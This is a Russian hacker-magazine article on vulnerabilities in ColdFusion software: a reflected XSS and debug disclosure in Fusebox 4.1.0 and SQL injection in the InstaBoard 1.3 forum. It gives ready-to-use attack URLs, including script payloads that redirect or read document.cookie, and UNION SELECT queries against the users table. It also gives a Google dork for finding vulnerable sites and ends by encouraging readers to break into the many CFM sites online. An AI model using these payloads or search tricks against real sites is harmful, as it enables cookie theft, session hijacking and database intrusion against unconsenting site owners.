Жуки ColdFusion

Skakunof Alex

Хакер, номер #083, стр. 083-068-6

баги Coldfusion Fusebox V4.1.0

Fusebox - это стандартная для Coldfusion технология построения web-систем, которая подразумевает последовательное подключение и выполнение определенных файлов, в зависимости от управляющего параметра. Что-то вроде того:

<cfswitch expression="#fuseaction#">

<cfcase value= "act1">

<cfinclude template= "login_header.cfm">

...

<cfinclude template= "login_footer.cfm">

</cfcase>

<cfcase value="aсt2">

<cfinclude template= "queryresult.cfm">

</cfcase>

</cfswitch>

Чтобы получить внушительный список сайтов, использующих FuseBox, достаточно набрать в гугле «inurl:.cfm?fuseaction».

В конце этого лета на багтрак-лентах появились сообщения о баге во FuseBox. Элементарных запросом стало возможным увести пользовательские куки и выполнить произвольный код на стороне клиента:

www.site.ru/index.cfm?fuseaction="><script>document.location="http://www.xakep.ru"</script>

Возможно получить доступ к отладочной информации элементарным запросом:

www.site.ru/index.cfm?fuseaction=?

К счастью, не все сайты, использующие FuseBox V4.1.0 уязвимы - на некоторых проектах может быть установлена собственная страница с сообщением об ошибке, где-то будет выполняться на все JS-конструкции. Так, например, возможен вариант, при котором будут работать все запросы, кроме тех, что обращаются к пользовательским кукисам.

В случае, если ты наткнулся на такой ресурс, стоит попробовать еще такой запрос:

www.site.ru/index.cfm?fuseaction=fusebox.overview"><script>alert (document.cookie)</script><

SQL_injection в InstaBoard 1.3

К сожалению, популярных форумов вроде phpBB, написанных на CFM нет. Однако из тех, что я нашел, все оказались бажными :). За примером далеко идти не надо - InstaBoard 1.3 страдает обильными sql-injection уязвимостями:

* www.example.com/instaboard/index.cfm?frmid=1 AND u.userid IN (select userid from users)

* www.example.com/instaboard/index.cfm?frmid=1&tpcid=1 SQL

* www.example.com/instaboard/index.cfm?frmid=1 SQL&tpcid=1

* www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1 SQL&msgid=11

* www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11 SQL

* www.example.com/instaboard/index.cfm?catid=-1 UNION SELECT userid,1,1..., from users

CD

На нашем диске ты найдешь свежую trial'ку Macromedia ColdFusion, набор документации, а также упомянутые в статье сценарии.

WARNING

Эта статья написана исключительно в ознакомительных целях, чтобы привлечь внимание к вопросам безопасности CFM-сценариев.

INFO

По сведениям гугла в Интернете находится примерно 331 000 000 CFM-сценариев. Так что ломать, как ты понимаешь, есть что.